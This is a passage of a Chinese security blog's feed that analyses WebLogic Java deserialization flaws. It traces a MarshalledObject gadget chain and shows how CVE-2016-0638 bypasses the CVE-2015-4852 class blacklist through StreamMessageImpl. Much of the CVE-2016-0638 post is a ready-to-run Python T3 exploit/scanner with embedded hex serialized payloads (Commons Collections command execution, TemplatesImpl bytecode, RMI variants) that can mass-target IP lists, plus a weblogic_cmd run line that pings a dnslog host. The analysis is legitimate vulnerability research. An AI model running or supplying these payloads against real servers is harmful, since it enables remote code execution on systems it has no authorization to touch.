<p>再来看下weblogic在哪触发的readObject()，断到MarshalledObject.class的48行。</p>
<p><img src="/wp-content/uploads/2020/02/20200216017844.png" alt="image" /></p>
<p>这里的readObject()触发反序列化，怎么进入到readResolve()这个方法的？查看堆栈进入invokeReadResolve()</p>
<p><img src="/wp-content/uploads/2020/02/20200216013218.png" alt="image" /></p>
<p>这里通过反射调用var1也就是MarshalledObject对象的readResolve()方法。var1中包含了我们恶意的序列化数据，它怎么传进来的？</p>
<p>进入堆栈中readOrdinaryObject()</p>
<pre><code class="language-java ">private Object readOrdinaryObject(boolean var1) throws IOException {
    if (this.bin.readByte() != 115) {
        throw new InternalError();
    } else {
        ObjectStreamClass var2 = this.readClassDesc(false);
        var2.checkDeserialize();

        Object var3;
        try {
            var3 = var2.isInstantiable() ? var2.newInstance() : null;
        } catch (Exception var6) {
            throw (IOException)(new InvalidClassException(var2.forClass().getName(), "unable to create instance")).initCause(var6);
        }

        this.passHandle = this.handles.assign(var1 ? unsharedMarker : var3);
        ClassNotFoundException var4 = var2.getResolveException();
        if (var4 != null) {
            this.handles.markException(this.passHandle, var4);
        }

        if (var2.isExternalizable()) {
            this.readExternalData((Externalizable)var3, var2);
        } else {
            this.readSerialData(var3, var2);
        }

        this.handles.finish(this.passHandle);
        if (var3 != null &amp;&amp; this.handles.lookupException(this.passHandle) == null &amp;&amp; var2.hasReadResolveMethod()) {
            Object var5 = var2.invokeReadResolve(var3);
            if (var1 &amp;&amp; var5.getClass().isArray()) {
                var5 = cloneArray(var5);
            }

            if (var5 != var3) {
                var3 = var5;
                this.handles.setObject(this.passHandle, var5);
            }
        }

        return var3;
    }
}
</code></pre>
<p>在这里调用了invokeReadResolve()，参数var3在上文经过this.readClassDesc().newInstance()拿到传入t3协议的MarshalledObject对象，具体做了什么处理不深入研究。</p>
<h2>总结</h2>
<p>t3传入MarshalledObject对象 -> readOrdinaryObject() 拿到MarshalledObject对象 -> invokeReadResolve() 反射调用MarshalledObject对象的readResolve() -> readObject()触发cc反序列化。</p>
<h2>参考</h2>
<ol>
<li>jdk最好用1.6的，不然总是定位不到正确的函数。</li>
<li>https://www.cnblogs.com/afanti/p/10240232.html</li>
</ol>
<p><strong>文笔垃圾，措辞轻浮，内容浅显，操作生疏。不足之处欢迎大师傅们指点和纠正，感激不尽。</strong></p>
]]></content:encoded>
					
		
		
			</item>
		<item>
		<title>Weblogic CVE-2016-0638 StreamMessageImpl反序列化绕过分析</title>
		<link>/audit/1184.html</link>
		
		<dc:creator><![CDATA[Y4er]]></dc:creator>
		<pubDate>Sat, 15 Feb 2020 17:10:17 +0000</pubDate>
				<category><![CDATA[代码审计]]></category>
		<category><![CDATA[java]]></category>
		<category><![CDATA[rce]]></category>
		<category><![CDATA[weblogic]]></category>
		<category><![CDATA[反序列化]]></category>
		<guid isPermaLink="false">/?p=1184</guid>

					<description><![CDATA[打补丁 官方漏洞通报时发布了两个补丁，分别是 1. p22248372_1036012_Generic 2. p20780171_1036_Generic 后来集成为一个补丁 p2...]]></description>
										<content:encoded><![CDATA[<h2>打补丁</h2>
<p><a class="wp-editor-md-post-content-link" href="https://blog.csdn.net/zhouleiblog/article/details/50454925">官方漏洞通报时</a>发布了两个补丁，分别是<br />
1. <a class="wp-editor-md-post-content-link" href="https://updates.oracle.com/Orion/PatchDetails/handle_rel_change?release=8191036001202&amp;plat_lang=2000P&amp;aru=19587063&amp;patch_num=22248372&amp;patch_num_id=2365750">p22248372_1036012_Generic</a><br />
2. <a class="wp-editor-md-post-content-link" href="https://updates.oracle.com/Orion/PatchDetails/process_form?patch_num=20780171">p20780171_1036_Generic</a></p>
<p>后来集成为一个补丁 <a class="wp-editor-md-post-content-link" href="https://updates.oracle.com/Orion/PatchDetails/process_form?patch_num_id=&amp;patch_num=21984589&amp;release=8191036000&amp;plat_lang=2000P&amp;no_header=0&amp;">p21984589_1036_Generic</a> ，补丁下载需要Oracle的metalink账号也就是付费客户才可以下载，p21984589_1036_Generic 补丁我在网上没找到，只能退而求其次用两个补丁的方式了。</p>
<p>打补丁过程参考 <a class="wp-editor-md-post-content-link" href="https://www.twblogs.net/a/5b8dedca2b71771883419f60/zh-cn">weblogic10.3.6安装漏洞补丁</a></p>
<pre><code class="">chmod -R 775 p20780171_1036_Generic p22248372_1036012_Generic
cd /root/Oracle/Middleware/utils/bsu/
./bsu.sh -install -patch_download_dir=/root/p20780171_1036_Generic - patchlist=EJUW -prod_dir=/home/weblogic/Oracle/Middleware/wlserver_10.3
./bsu.sh -install -patch_download_dir=/root/p22248372_1036012_Generic/ -patchlist=ZLNA -prod_dir=/root/Oracle/Middleware/wlserver_10.3/
source ./Oracle/Middleware/wlserver_10.3/server/bin/setWLSEnv.sh
java weblogic.version
</code></pre>
<p>如果出现 <code>Java heap space</code> 错误，把bsu.sh里的MEM_ARGS参数改为 <code>-Xms512m -Xmx1024m</code> 就行了。</p>
<p><img src="https://y4er.com/img/uploads/20200201203719.png" alt="image" /></p>
<p>可以看到打的两个补丁。</p>
<p><img src="/wp-content/uploads/2020/02/20200201205005.png" alt="image" /></p>
<p>打了补丁之后使用CVE-2015-4852复现不成功，补丁确实有用。</p>
<p>查看<span class="wpcom_tag_link"><a href="/tags/weblogic" title="weblogic" target="_blank">weblogic</a></span>的日志<br />
<img src="/wp-content/uploads/2020/02/20200201202067.png" alt="image" /></p>
<p><code><span class="wpcom_tag_link"><a href="/tags/java" title="java" target="_blank">java</a></span>.io.InvalidClassException: Unauthorized deserialization attempt; org.apache.commons.collections.functors.ChainedTransformer</code> 无效的类，可能是补丁做了<span class="wpcom_tag_link"><a href="/tags/%e5%8f%8d%e5%ba%8f%e5%88%97%e5%8c%96" title="反序列化" target="_blank">反序列化</a></span>类黑名单校验。</p>
<h2>补丁里的黑名单</h2>
<p>网上的分析文章说是一个ClassFilter类设置了黑名单，我们搜索一下具体的位置。</p>
<p><img src="/wp-content/uploads/2020/02/20200201204039.png" alt="image" /></p>
<p><code>/root/Oracle/Middleware/patch_wls1036/patch_jars/BUG22248372_1036.jar</code> 在这个包中，将<code>Unauthorized deserialization attempt</code>关键字打断点，执行CVE-2015-4852发现断在weblogic.rjvm.InboundMsgAbbrev.ServerChannelInputStream#resolveClass这里。</p>
<p><img src="/wp-content/uploads/2020/02/20200201208769.png" alt="image" /></p>
<p>检查了反序列化的类，跟进isBlackListed()判断，发现了黑名单。</p>
<p><img src="/wp-content/uploads/2020/02/20200201204234.png" alt="image" /></p>
<p>接下来进入正文，引入CVE-2016-0638这个CVE。</p>
<h2>正文</h2>
<p>前面我们说了CVE-2015-4852是通过黑名单的形式来修复了漏洞，主要作用在wlthint3client.jar包中以下三个位置</p>
<pre><code class="">weblogic.rjvm.InboundMsgAbbrev.class :: ServerChannelInputStream
weblogic.rjvm.MsgAbbrevInputStream.class
weblogic.iiop.Utils.class
</code></pre>
<p>所以如果能找到可以在其readObject中创建自己的InputStream的对象，并且不是使用黑名单中的ServerChannelInputStream和MsgAbbrevInputStream的readObject进行的反序列化，最后调用readObject()方法进行反序列化的数据的读取，这样就可以执行含有恶意代码的序列化代码。然后就找到了weblogic.jms.common.StreamMessageImpl#readExternal</p>
<p><img src="/wp-content/uploads/2020/02/20200201207302.png" alt="image" /></p>
<p>使用payload打过去，发现var4是接收的反序列化数据，var5执行了反序列化操作，执行了我们的恶意代码。</p>
<h2>exp分析</h2>
<p>https://github.com/5up3rc/weblogic_cmd 克隆下来，idea打开，配置运行参数。</p>
<pre><code class="">-H "172.16.2.129" -C "ping -c 4 kaurg7.dnslog.cn" -B -os linux
</code></pre>
<p><img src="/wp-content/uploads/2020/02/20200201207243.png" alt="image" /></p>
<p>main方法中首先获取参数，然后进入executeBlind()</p>
<p><img src="/wp-content/uploads/2020/02/20200201206029.png" alt="image" /></p>
<p>然后进入WebLogicOperation.blindExecute()</p>
<p><img src="/wp-content/uploads/2020/02/20200201201776.png" alt="image" /></p>
<p>然后配置cmd，接着进入SerialDataGenerator.serialBlindDatas()</p>
<p><img src="/wp-content/uploads/2020/02/20200201202325.png" alt="image" /></p>
<p>接着进入构建反序列化对象</p>
<p><img src="/wp-content/uploads/2020/02/20200201206219.png" alt="image" /></p>
<p><img src="/wp-content/uploads/2020/02/20200201205244.png" alt="image" /></p>
<p>用的是common-collections1</p>
<p><img src="/wp-content/uploads/2020/02/20200201209268.png" alt="image" /></p>
<p>然后进入BypassPayloadSelector.selectBypass(handler) 通过参数决定，默认使用streamMessageImpl</p>
<p><img src="/wp-content/uploads/2020/02/20200201200272.png" alt="image" /></p>
<p>接着进入T3协议 <code>T3ProtocolOperation.send(host, port, payload)</code>，然后就是构造T3协议，发送出去。</p>
<p><img src="/wp-content/uploads/2020/02/20200201202412.png" alt="image" /></p>
<p>输出的pahse1Str就是我们自己构造的序列化数据，到此就执行命令成功了。</p>
<p><img src="/wp-content/uploads/2020/02/20200201208971.png" alt="image" /></p>
<p>还有一点就是输出的pahse1Str可以放到下面脚本中，直接用python更方便。</p>
<pre><code class="language-python ">#!/usr/bin/env python
#coding:utf-8
import socket
import time
import re
import argparse
from multiprocessing.dummy import Pool

VUL=['CVE-2016-0638',
    'CVE-2016-3510',
    'CVE-2017-3248',
    'CVE-2018-2628',
    'CVE-2018-2893'
    ]
PAYLOAD=['aced0005737200257765626c6f6769632e6a6d732e636f6d6d6f6e2e53747265616d4d657373616765496d706c6b88de4d93cbd45d0c00007872001f7765626c6f6769632e6a6d732e636f6d6d6f6e2e4d657373616765496d706c69126161d04df1420c000078707a000004001e200000000000000100000572aced00057372003273756e2e7265666c6563742e616e6e6f746174696f6e2e416e6e6f746174696f6e496e766f636174696f6e48616e646c657255caf50f15cb7ea50200024c000c6d656d62657256616c75657374000f4c6a6176612f7574696c2f4d61703b4c0004747970657400114c6a6176612f6c616e672f436c6173733b7870737d00000001000d6a6176612e7574696c2e4d6170787200176a6176612e6c616e672e7265666c6563742e50726f7879e127da20cc1043cb0200014c0001687400254c6a6176612f6c616e672f7265666c6563742f496e766f636174696f6e48616e646c65723b78707371007e00007372002a6f72672e6170616368652e636f6d6d6f6e732e636f6c6c656374696f6e732e6d61702e4c617a794d61706ee594829e7910940300014c0007666163746f727974002c4c6f72672f6170616368652f636f6d6d6f6e732f636f6c6c656374696f6e732f5472616e73666f726d65723b78707372003a6f72672e6170616368652e636f6d6d6f6e732e636f6c6c656374696f6e732e66756e63746f72732e436861696e65645472616e73666f726d657230c797ec287a97040200015b000d695472616e73666f726d65727374002d5b4c6f72672f6170616368652f636f6d6d6f6e732f636f6c6c656374696f6e732f5472616e73666f726d65723b78707572002d5b4c6f72672e6170616368652e636f6d6d6f6e732e636f6c6c656374696f6e732e5472616e73666f726d65723bbd562af1d83418990200007870000000057372003b6f72672e6170616368652e636f6d6d6f6e732e636f6c6c656374696f6e732e66756e63746f72732e436f6e7374616e745472616e73666f726d6572587690114102b1940200014c000969436f6e7374616e747400124c6a6176612f6c616e672f4f626a6563743b7870767200116a6176612e6c616e672e52756e74696d65000000000000000000000078707372003a6f72672e6170616368652e636f6d6d6f6e732e636f6c6c656374696f6e732e66756e63746f72732e496e766f6b65725472616e73666f726d657287e8ff6b7b7cce380200035b000569417267737400135b4c6a6176612f6c616e672f4f626a6563743b4c000b694d6574686f644e616d657400124c6a6176612f6c616e672f537472696e673b5b000b69506172616d54797065737400125b4c6a6176612f6c616e672f436c6173733b7870757200135b4c6a6176612e6c616e672e4f626a6563743b90ce589f1073296c02000078700000000274000a67657452756e74696d65757200125b4c6a6176612e6c616e672e436c6173733bab16d7aecbcd5a990200007870000000007400096765744d6574686f647571007e001e00000002767200106a6176612e6c616e672e53747a0000017f72696e67a0f0a4387a3bb34202000078707671007e001e7371007e00167571007e001b00000002707571007e001b00000000740006696e766f6b657571007e001e00000002767200106a6176612e6c616e672e4f626a656374000000000000000000000078707671007e001b7371007e00167571007e001b00000001757200135b4c6a6176612e6c616e672e537472696e673badd256e7e91d7b47020000787000000003740007636d642e6578657400022f6374000463616c63740004657865637571007e001e000000017671007e002f7371007e0011737200116a6176612e7574696c2e48617368536574ba44859596b8b7340300007870770c000000103f4000000000000078737200116a6176612e7574696c2e486173684d61700507dac1c31660d103000246000a6c6f6164466163746f724900097468726573686f6c6478703f4000000000000c770800000010000000007878767200126a6176612e6c616e672e4f766572726964650000000000000000000000787071007e003d78',
    'aced0005737200257765626c6f6769632e636f7262612e7574696c732e4d61727368616c6c65644f626a656374592161d5f3d1dbb6020002490004686173685b00086f626a42797465737400025b42787057412418757200025b42acf317f8060854e0020000787000000c0daced0005737200176a6176612e7574696c2e4c696e6b656448617368536574d86cd75a95dd2a1e020000787200116a6176612e7574696c2e48617368536574ba44859596b8b7340300007870770c000000103f400000000000027372003a636f6d2e73756e2e6f72672e6170616368652e78616c616e2e696e7465726e616c2e78736c74632e747261782e54656d706c61746573496d706c09574fc16eacab3303000949000d5f696e64656e744e756d62657249000e5f7472616e736c6574496e6465785a00155f75736553657276696365734d656368616e69736d4c00195f61636365737345787465726e616c5374796c6573686565747400124c6a6176612f6c616e672f537472696e673b4c000b5f617578436c617373657374003b4c636f6d2f73756e2f6f72672f6170616368652f78616c616e2f696e7465726e616c2f78736c74632f72756e74696d652f486173687461626c653b5b000a5f62797465636f6465737400035b5b425b00065f636c6173737400125b4c6a6176612f6c616e672f436c6173733b4c00055f6e616d6571007e00044c00115f6f757470757450726f706572746965737400164c6a6176612f7574696c2f50726f706572746965733b787000000000ffffffff00740003616c6c70757200035b5b424bfd19156767db37020000787000000002757200025b42acf317f8060854e0020000787000000698cafebabe0000003200390a0003002207003707002507002601001073657269616c56657273696f6e5549440100014a01000d436f6e7374616e7456616c756505ad2093f391ddef3e0100063c696e69743e010003282956010004436f646501000f4c696e654e756d6265725461626c650100124c6f63616c5661726961626c655461626c6501000474686973010013537475625472616e736c65745061796c6f616401000c496e6e6572436c61737365730100354c79736f73657269616c2f7061796c6f6164732f7574696c2f4761646765747324537475625472616e736c65745061796c6f61643b0100097472616e73666f726d010072284c636f6d2f73756e2f6f72672f6170616368652f78616c616e2f696e7465726e616c2f78736c74632f444f4d3b5b4c636f6d2f73756e2f6f72672f6170616368652f786d6c2f696e7465726e616c2f73657269616c697a65722f53657269616c697a6174696f6e48616e646c65723b2956010008646f63756d656e7401002d4c636f6d2f73756e2f6f72672f6170616368652f78616c616e2f696e7465726e616c2f78736c74632f444f4d3b01000868616e646c6572730100425b4c636f6d2f73756e2f6f72672f6170616368652f786d6c2f696e7465726e616c2f73657269616c697a65722f53657269616c697a6174696f6e48616e646c65723b01000a457863657074696f6e730700270100a6284c636f6d2f73756e2f6f72672f6170616368652f78616c616e2f696e7465726e616c2f78736c74632f444f4d3b4c636f6d2f73756e2f6f72672f6170616368652f786d6c2f696e7465726e616c2f64746d2f44544d417869734974657261746f723b4c636f6d2f73756e2f6f72672f6170616368652f786d6c2f696e7465726e616c2f73657269616c697a65722f53657269616c697a6174696f6e48616e646c65723b29560100086974657261746f720100354c636f6d2f73756e2f6f72672f6170616368652f786d6c2f696e7465726e616c2f64746d2f44544d417869734974657261746f723b01000768616e646c65720100414c636f6d2f73756e2f6f72672f6170616368652f786d6c2f696e7465726e616c2f73657269616c697a65722f53657269616c697a6174696f6e48616e646c65723b01000a536f7572636546696c6501000c476164676574732e6a6176610c000a000b07002801003379736f73657269616c2f7061796c6f6164732f7574696c2f4761646765747324537475625472616e736c65745061796c6f6164010040636f6d2f73756e2f6f72672f6170616368652f78616c616e2f696e7465726e616c2f78736c74632f72756e74696d652f41627374726163745472616e736c65740100146a6176612f696f2f53657269616c697a61626c65010039636f6d2f73756e2f6f72672f6170616368652f78616c616e2f696e7465726e616c2f78736c74632f5472616e736c6574457863657074696f6e01001f79736f73657269616c2f7061796c6f6164732f7574696c2f476164676574730100083c636c696e69743e0100116a6176612f6c616e672f52756e74696d6507002a01000a67657452756e74696d6501001528294c6a6176612f6c616e672f52756e74696d653b0c002c002d0a002b002e01000463616c6308003001000465786563010027284c6a6176612f6c616e672f537472696e673b294c6a6176612f6c616e672f50726f636573733b0c003200330a002b003401000d537461636b4d61705461626c6501001d79736f73657269616c2f50776e6572313930393035393330363833303701001f4c79736f73657269616c2f50776e657231393039303539333036383330373b002100020003000100040001001a000500060001000700000002000800040001000a000b0001000c0000002f00010001000000052ab70001b100000002000d0000000600010000002e000e0000000c000100000005000f003800000001001300140002000c0000003f0000000300000001b100000002000d00000006000100000033000e00000020000300000001000f0038000000000001001500160001000000010017001800020019000000040001001a00010013001b0002000c000000490000000400000001b100000002000d00000006000100000037000e0000002a000400000001000f003800000000000100150016000100000001001c001d000200000001001e001f00030019000000040001001a00080029000b0001000c00000024000300020000000fa70003014cb8002f1231b6003557b1000000010036000000030001030002002000000002002100110000000a000100020023001000097571007e000d000001d4cafebabe00000032001b0a0003001507001707001807001901001073657269616c56657273696f6e5549440100014a01000d436f6e7374616e7456616c75650571e669ee3c6d47180100063c696e69743e010003282956010004436f646501000f4c696e654e756d6265725461626c650100124c6f63616c5661726961626c655461626c6501000474686973010003466f6f01000c496e6e6572436c61737365730100254c79736f73657269616c2f7061796c6f6164732f7574696c2f4761646765747324466f6f3b01000a536f7572636546696c6501000c476164676574732e6a6176610c000a000b07001a01002379736f73657269616c2f7061796c6f6164732f7574696c2f4761646765747324466f6f0100106a6176612f6c616e672f4f626a6563740100146a6176612f696f2f53657269616c697a61626c6501001f79736f73657269616c2f7061796c6f6164732f7574696c2f47616467657473002100020003000100040001001a000500060001000700000002000800010001000a000b0001000c0000002f00010001000000052ab70001b100000002000d0000000600010000003b000e0000000c000100000005000f001200000002001300000002001400110000000a000100020016001000097074000450776e727077010078737d00000001001d6a617661782e786d6c2e7472616e73666f726d2e54656d706c61746573787200176a6176612e6c616e672e7265666c6563742e50726f7879e127da20cc1043cb0200014c0001687400254c6a6176612f6c616e672f7265666c6563742f496e766f636174696f6e48616e646c65723b78707372003273756e2e7265666c6563742e616e6e6f746174696f6e2e416e6e6f746174696f6e496e766f636174696f6e48616e646c657255caf50f15cb7ea50200024c000c6d656d62657256616c75657374000f4c6a6176612f7574696c2f4d61703b4c0004747970657400114c6a6176612f6c616e672f436c6173733b7870737200116a6176612e7574696c2e486173684d61700507dac1c31660d103000246000a6c6f6164466163746f724900097468726573686f6c6478703f4000000000000c77080000001000000001740008663561356136303871007e0009787672001d6a617661782e786d6c2e7472616e73666f726d2e54656d706c617465730000000000000000000000787078',
    'aced0005737d00000001001a6a6176612e726d692e72656769737472792e5265676973747279787200176a6176612e6c616e672e7265666c6563742e50726f7879e127da20cc1043cb0200014c0001687400254c6a6176612f6c616e672f7265666c6563742f496e766f636174696f6e48616e646c65723b78707372002d6a6176612e726d692e7365727665722e52656d6f74654f626a656374496e766f636174696f6e48616e646c657200000000000000020200007872001c6a6176612e726d692e7365727665722e52656d6f74654f626a656374d361b4910c61331e03000078707732000a556e696361737452656600093132372e302e302e3100000000000000006ed6d97b00000000000000000000000000000078',
    'aced0005737d00000001001d6a6176612e726d692e61637469766174696f6e2e416374697661746f72787200176a6176612e6c616e672e7265666c6563742e50726f7879e127da20cc1043cb0200014c0001687400254c6a6176612f6c616e672f7265666c6563742f496e766f636174696f6e48616e646c65723b78707372002d6a6176612e726d692e7365727665722e52656d6f74654f626a656374496e766f636174696f6e48616e646c657200000000000000020200007872001c6a6176612e726d692e7365727665722e52656d6f74654f626a656374d361b4910c61331e03000078707729000a556e69636173745265660000000005a2000000005649e3fd00000000000000000000000000000078',
    'aced0005737200257765626c6f6769632e6a6d732e636f6d6d6f6e2e53747265616d4d657373616765496d706c6b88de4d93cbd45d0c00007872001f7765626c6f6769632e6a6d732e636f6d6d6f6e2e4d657373616765496d706c69126161d04df1420c000078707a000001251e200000000000000100000118aced0005737d00000001001a6a6176612e726d692e72656769737472792e5265676973747279787200176a6176612e6c616e672e7265666c6563742e50726f7879e127da20cc1043cb0200014c0001687400254c6a6176612f6c616e672f7265666c6563742f496e766f636174696f6e48616e646c65723b78707372002d6a6176612e726d692e7365727665722e52656d6f74654f626a656374496e766f636174696f6e48616e646c657200000000000000020200007872001c6a6176612e726d692e7365727665722e52656d6f74654f626a656374d361b4910c61331e03000078707732000a556e696361737452656600093132372e302e302e310000f1440000000046911fd80000000000000000000000000000007878',
    ]
VER_SIG=['weblogic.jms.common.StreamMessageImpl',
    'org.apache.commons.collections.functors.InvokerTransformer',
    '\$Proxy[0-9]+',
    '\$Proxy[0-9]+',
    'weblogic.jms.common.StreamMessageImpl'
    ]

def t3handshake(sock,server_addr):
    sock.connect(server_addr)
    sock.send('74332031322e322e310a41533a3235350a484c3a31390a4d533a31303030303030300a0a'.decode('hex'))
    time.sleep(1)
    sock.recv(1024)
    print('[!]{}:{} handshake successful'.format(server_addr[0],server_addr[1]))

def buildT3RequestObject(dip,sock):
    data1 = '000005c3016501ffffffffffffffff0000006a0000ea600000001900937b484a56fa4a777666f581daa4f5b90e2aebfc607499b4027973720078720178720278700000000a000000030000000000000006007070707070700000000a000000030000000000000006007006fe010000aced00057372001d7765626c6f6769632e726a766d2e436c6173735461626c65456e7472792f52658157f4f9ed0c000078707200247765626c6f6769632e636f6d6d6f6e2e696e7465726e616c2e5061636b616765496e666fe6f723e7b8ae1ec90200084900056d616a6f724900056d696e6f7249000c726f6c6c696e67506174636849000b736572766963655061636b5a000e74656d706f7261727950617463684c0009696d706c5469746c657400124c6a6176612f6c616e672f537472696e673b4c000a696d706c56656e646f7271007e00034c000b696d706c56657273696f6e71007e000378707702000078fe010000aced00057372001d7765626c6f6769632e726a766d2e436c6173735461626c65456e7472792f52658157f4f9ed0c000078707200247765626c6f6769632e636f6d6d6f6e2e696e7465726e616c2e56657273696f6e496e666f972245516452463e0200035b00087061636b616765737400275b4c7765626c6f6769632f636f6d6d6f6e2f696e7465726e616c2f5061636b616765496e666f3b4c000e72656c6561736556657273696f6e7400124c6a6176612f6c616e672f537472696e673b5b001276657273696f6e496e666f417342797465737400025b42787200247765626c6f6769632e636f6d6d6f6e2e696e7465726e616c2e5061636b616765496e666fe6f723e7b8ae1ec90200084900056d616a6f724900056d696e6f7249000c726f6c6c696e67506174636849000b736572766963655061636b5a000e74656d706f7261727950617463684c0009696d706c5469746c6571007e00044c000a696d706c56656e646f7271007e00044c000b696d706c56657273696f6e71007e000478707702000078fe010000aced00057372001d7765626c6f6769632e726a766d2e436c6173735461626c65456e7472792f52658157f4f9ed0c000078707200217765626c6f6769632e636f6d6d6f6e2e696e7465726e616c2e50656572496e666f585474f39bc908f10200064900056d616a6f724900056d696e6f7249000c726f6c6c696e67506174636849000b736572766963655061636b5a000e74656d706f7261727950617463685b00087061636b616765737400275b4c7765626c6f6769632f636f6d6d6f6e2f696e7465726e616c2f5061636b616765496e666f3b787200247765626c6f6769632e636f6d6d6f6e2e696e7465726e616c2e56657273696f6e496e666f972245516452463e0200035b00087061636b6167657371'
    data2 = '007e00034c000e72656c6561736556657273696f6e7400124c6a6176612f6c616e672f537472696e673b5b001276657273696f6e496e666f417342797465737400025b42787200247765626c6f6769632e636f6d6d6f6e2e696e7465726e616c2e5061636b616765496e666fe6f723e7b8ae1ec90200084900056d616a6f724900056d696e6f7249000c726f6c6c696e67506174636849000b736572766963655061636b5a000e74656d706f7261727950617463684c0009696d706c5469746c6571007e00054c000a696d706c56656e646f7271007e00054c000b696d706c56657273696f6e71007e000578707702000078fe00fffe010000aced0005737200137765626c6f6769632e726a766d2e4a564d4944dc49c23ede121e2a0c000078707750210000000000000000000d3139322e3136382e312e323237001257494e2d4147444d565155423154362e656883348cd60000000700001b59ffffffffffffffffffffffffffffffffffffffffffffffff78fe010000aced0005737200137765626c6f6769632e726a766d2e4a564d4944dc49c23ede121e2a0c0000787077200114dc42bd07'
    data3 = '1a7727000d3234322e323134'
    data4 = '2e312e32353461863d1d0000000078'
    for d in [data1,data2,data3,data4]:
        sock.send(d.decode('hex'))
    time.sleep(2)
    print('[!]{} send request payload successful,recv length:{}'.format(dip,len(sock.recv(2048))))

def sendEvilObjData(sock,data):
    payload='056508000000010000001b0000005d010100737201787073720278700000000000000000757203787000000000787400087765626c6f67696375720478700000000c9c979a9a8c9a9bcfcf9b939a7400087765626c6f67696306fe010000aced00057372001d7765626c6f6769632e726a766d2e436c6173735461626c65456e7472792f52658157f4f9ed0c000078707200025b42acf317f8060854e002000078707702000078fe010000aced00057372001d7765626c6f6769632e726a766d2e436c6173735461626c65456e7472792f52658157f4f9ed0c000078707200135b4c6a6176612e6c616e672e4f626a6563743b90ce589f1073296c02000078707702000078fe010000aced00057372001d7765626c6f6769632e726a766d2e436c6173735461626c65456e7472792f52658157f4f9ed0c000078707200106a6176612e7574696c2e566563746f72d9977d5b803baf010300034900116361706163697479496e6372656d656e7449000c656c656d656e74436f756e745b000b656c656d656e74446174617400135b4c6a6176612f6c616e672f4f626a6563743b78707702000078fe010000'
    payload+=data
    payload+='fe010000aced0005737200257765626c6f6769632e726a766d2e496d6d757461626c6553657276696365436f6e74657874ddcba8706386f0ba0c0000787200297765626c6f6769632e726d692e70726f76696465722e426173696353657276696365436f6e74657874e4632236c5d4a71e0c0000787077020600737200267765626c6f6769632e726d692e696e7465726e616c2e4d6574686f6444657363726970746f7212485a828af7f67b0c000078707734002e61757468656e746963617465284c7765626c6f6769632e73656375726974792e61636c2e55736572496e666f3b290000001b7878fe00ff'
    payload = '%s%s'%('{:08x}'.format(len(payload)/2 + 4),payload)
    sock.send(payload.decode('hex'))
    time.sleep(2)
    res='NO_DATA'
    try:
        res=sock.recv(4096)
    except socket.timeout:
        pass
    # print res.encode('hex')
    return res

def checkVul(res,server_addr,index):
    p=re.findall(VER_SIG[index], res, re.S)
    if len(p)&gt;0:
        print('[+]%s:%d vul %s'%(server_addr[0],server_addr[1],VUL[index]))
        return True
    else:
        print('[-]%s:%d is not vul %s' % (server_addr[0],server_addr[1],VUL[index]))
        return False

def run(dip,dport,index):
    sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    ##打了补丁之后，会阻塞，所以设置超时时间，默认15s，根据情况自己调整
    sock.settimeout(60)
    server_addr = (dip, dport)
    t3handshake(sock,server_addr)
    buildT3RequestObject(dip,sock)
    rs=sendEvilObjData(sock,PAYLOAD[index])
    checkVul(rs,server_addr,index)

def exp(target):
    dip,dport = target
    vuls = []
    for index in range(len(VUL)):
        try:
            sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
            ##打了补丁之后，会阻塞，所以设置超时时间，默认15s，根据情况自己调整
            sock.settimeout(60)
            server_addr = (dip, dport)
            t3handshake(sock,server_addr)
            buildT3RequestObject(dip,sock)
            rs=sendEvilObjData(sock,PAYLOAD[index])
            if checkVul(rs,server_addr,index):
                vuls.append(VUL[index])
        except Exception as e:
            print('[-]{} fail:{}'.format(dip,str(e)))
    return {'ip':dip,'status':'ok' if len(vuls)&gt;0 else 'fail','vuls':vuls}

def load_target_from_file(filename,port):
    iplist = []
    with open(filename) as f:
        for line in f:
            ip = line.strip()
            if len(ip)&gt;0:
                iplist.append((ip,port))
    return iplist

def process_result(results):
    results_ok = []
    results_fail = []
    for r in results:
        if r['status'] == 'ok':
            results_ok.append('{}:{}'.format(r['ip'],','.join(r['vuls'])))
        else:
            results_fail.append(r['ip'])
    print('[+]vuls total:{}n{}'.format(len(results_ok), 'n'.join(results_ok)))

def main():
    parser = argparse.ArgumentParser(description='weblogic scanner')
    parser.add_argument('-f','--file',default=None,help='read target ip from file')
    parser.add_argument('-t','--target',default=None,help='target ip')
    parser.add_argument('-p','--port',default='7001',help=' server port,default is 7001')

    args = parser.parse_args()
    if not args.file is None:
        iplist = load_target_from_file(args.file,int(args.port))
        pool = Pool(10)
        results = pool.map(exp,iplist)
        pool.close()
        pool.join()
        process_result(results)
    elif not args.target is None:
        exp((args.target,int(args.port)))
    else:
        parser.print_help()
        print('You must set target ip or file!')

if __name__=="__main__":
    main()
</code></pre>
<h2>参考链接</h2>
<p>https://www.cnblogs.com/afanti/p/10240217.html<br />
https://5alt.me/2018/04/weblogic%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96%E6%BC%8F%E6%B4%9E%E5%88%86%E6%9E%90%E4%B8%8E%E8%B0%83%E8%AF%95/<br />
https://github.com/5up3rc/weblogic_cmd<br />
https://paper.seebug.org/584/<br />
https://github.com/pwntester/SerialKillerBypassGadgetCollection/blob/master/src/main/java/serialkiller/bypass/Weblogic1.java<br />
https://xz.aliyun.com/t/1825/#toc-2</p>
<p>以下是关于CVE-2015-4852的补丁信息<br />
https://www.oracle.com/security-alerts/alert-cve-2015-4852.html<br />
https://updates.oracle.com/Orion/PatchDetails/process_form?aru=19496800&#038;patch_password=&#038;no_header=0<br />
https://blog.csdn.net/zhouleiblog/article/details/50454925</p>
<p>Oracle的补丁季度更新报告<br />
https://www.oracle.com/security-alerts/cpuapr2016v3.html#AppendixFMW<br />
https://www.oracle.com/security-alerts/#CriticalPatchUpdates</p>
<p><strong>文笔垃圾，措辞轻浮，内容浅显，操作生疏。不足之处欢迎大师傅们指点和纠正，感激不尽。</strong></p>
]]></content:encoded>
					
		
		
			</item>
		<item>
		<title>CVE-2015-4852 Weblogic 反序列化RCE分析</title>
		<link>/audit/1151.html</link>
		
		<dc:creator><![CDATA[Y4er]]></dc:creator>
		<pubDate>Thu, 30 Jan 2020 09:44:54 +0000</pubDate>
				<category><![CDATA[代码审计]]></category>
		<category><![CDATA[rce]]></category>
		<category><![CDATA[weblogic]]></category>
		<category><![CDATA[反序列化]]></category>
		<category><![CDATA[命令执行]]></category>
		<guid isPermaLink="false">/?p=1151</guid>

